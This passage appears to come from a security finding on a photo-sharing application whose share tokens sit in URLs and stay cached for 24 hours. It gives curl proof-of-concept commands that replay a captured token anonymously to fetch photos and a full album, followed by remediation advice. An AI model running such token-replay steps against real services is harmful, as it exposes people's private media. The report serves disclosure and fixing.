  'http://host.docker.internal:8000/api/download/album/8/original,high-res?token=AXiFKEWz'
# -> HTTP 200 size=2526356 (4 original media files inside)
```

Step 3 — Observe the caching of token-bearing responses - the capability persists in HTTP caches for 24h

```
curl -sS -D - -o /dev/null 'http://host.docker.internal:8000/api/photo/buttercup_close_summer_yellow_6dDsJGGc.jpg?token=AXiFKEWz' | grep -i cache-control
# Cache-Control: private, max-age=86400, immutable (photos.go:65)
```

Proof of Impact

Captured media URLs from the live share page (<http://host.docker.internal:8000/share/AXiFKEWz>):

```
.../api/photo/thumbnail_buttercup_close_summer_yellow_jpg_wm7sbgyE.jpg?token=AXiFKEWz
```

```
.../api/photo/thumbnail_lilac_lilac_bush_lilac_jpg_HJMtIxTb.jpg?token=AXiFKEWz
```

```
.../api/photo/thumbnail_mount_merapi_volcano_indonesia_jpg_06cJZmmo.jpg?token=AXiFKEWz
```

```
.../api/photo/thumbnail_timeline_png_bYyC6x45.jpg?token=AXiFKEWz
```

Anonymous replay (fresh curl, no Cookie header):

```
$ curl ... '.../api/photo/thumbnail_...jpg?token=AXiFKEWz' -> HTTP 200 bytes=9709
```

```
$ curl -D - ... '.../api/photo/buttercup_...jpg?token=AXiFKEWz' -> HTTP/1.1 200 OK
Content-Type: image/jpeg, Content-Length: 23018, Cache-Control: private, max-age=86400, immutable
```

```
$ curl ... '.../api/download/album/8/original,high-res?token=AXiFKEWz' -> HTTP 200 size=2526356
```

```
(album1/{buttercup 23018B, lilac 46372B, merapi 39331B, timeline.png 2425384B})
```

The share page itself is served at a token-bearing URL path: `GET /share/AXiFKEWz -> HTTP 200.`

Remediation

Move the share credential out of the URL: authenticate share access with the token in an Authorization header or a short-lived server-set `HttpOnly/ Secure/SameSite` cookie granted after visiting `/share/<token>` (and entered password), keep the URL path free of the raw token, and strip `?token=` from logged URLs (api/server/logging.go) and Referer (Referrer-Policy: no-referrer on share pages). Shorten media response caching for token-authenticated responses (no-cache, private) so token-bearing content does not persist 24h in shared caches, and consider rotating share tokens.